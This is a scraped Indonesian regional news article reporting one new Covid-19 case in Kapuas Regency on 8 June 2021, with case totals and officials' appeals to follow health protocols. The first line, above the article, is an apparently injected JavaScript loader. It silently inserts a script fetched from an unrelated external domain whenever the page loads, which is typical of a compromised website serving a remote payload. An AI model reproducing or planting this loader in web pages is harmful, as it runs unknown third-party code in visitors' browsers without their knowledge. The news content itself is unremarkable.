(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Update Covid-19 Kabupaten Kapuas, 1 Kasus Positif Baru


KANALKALIMANTAN. COM, KUALA KAPUAS – Juru Bicara Satuan Tugas Percepatan Penanganan Covid-19 Kabupaten Kapuas Dr H Junaidi SE SKM MAP MKes melalui siaran langsung di kanal media sosial Kominfo Kabupaten Kapuas menyampaikan perkembangan kasus Covid-19 di Kabupaten Kapuas, Selasa (8/6/2021) pagi.

Kasus positif kembali bertambah sebanyak 1 kasus yang berasal dari Kecamatan Kapuas Hilir. Sedangkan untuk kasus sembuh atau selesai isloasi dan kasus terkonfirmasi positif Covid-19 yang dinyatakan meninggal dunia tidak ada.

Tercatat pasien positif yang masih dalam perawatan 19 orang, pasien positif meninggal dunia 82 orang dan selesai isolasi atau sembuh 2.295 orang. Sehingga total kasus terkonfirmasi Covid-19 di Kabupaten Kapuas berjumlah 2.396 orang.

Juru Bicara Gugus Tugas Covid-19 Kabupaten Kapuas menyampaikan, di Kabupaten Kapuas masih adanya penularan Covid-19 terbukti dengan adanya penambahan kasus positif 1 orang. Oleh karena itu ia meminta kepada masyarakat untuk selalu waspada dan mewaspadai terhadap penularan Covid-19 tersebut.

 

Bupati Kapuas Ir Ben Brahim S Bahat dan Wakil Bupati Kapuas Drs H M Nafiah Ibnor pada kesempatan ini mengingatkan kembali pentingnya penerapan protokol kesehatan yang ketat, baik itu di desa, kelurahan, kecamatan.

“Kepada seluruh warga di Kabupaten Kapuas senantiasa menjaga diri, keluarga, dan masyarakat terhadap penularan Covid-19 yang sangat berbahaya dan mematikan ini,” tegasnya.

H Junaidi juga menyampaikan, penyebaran Covid-19 di Kabupaten Kapuas masih cukup tinggi. Ia berharap kepada seluruh masyarakat Kabupaten Kapuas untuk tetap mewaspadai penularan Covid-19 dengan cara menerapkan 5M yaitu menggunakan masker, mencuci tangan, menjaga jarak dan mengurangi mobilitas.

Seluruh masyarakat Kabupaten Kapuas diminta mentaati surat edaran Bupati Kapuas Nomor : 360/36/ SATGAS-COVID/KPS.2021 tentang pedoman penyelenggaraan kegiatan keagamaan di rumah ibadah (masjid, gereja, pura, balai basarah, vihara) dan majelis-majelis ta’lim. (kanalkalimantan.com/ags)
Reporter : ags
Editor : kk


Al Ghifari

Recent Posts

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

5 menit ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

2 jam ago

Pj Bupati Kapuas Lepas Peserta Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melepas pawai budaya, Jumat (26/4/2024) sore.… Read More

3 jam ago

Baliho Curhat Korban Investasi Bodong di Banjarmasin Diturunkan

KANALKALIMANTAN.COM, BANJARMASIN - Baliho berisi curhatan para korban FN tersangka kasus investasi bodong solar yang… Read More

3 jam ago

Lomba Mancing Ikan di Sungai Kemuning Meriahkan HUT ke-17 Kecamatan Banjarbaru Selatan

KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More

6 jam ago

Peduli Korban Kebakaran di Cempaka, Srikandi PLN Salurkan Bantuan Perlengkapan Dapur

KANALKALIMANTAN.COM, BANJARBARU – Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B)… Read More

8 jam ago

This website uses cookies.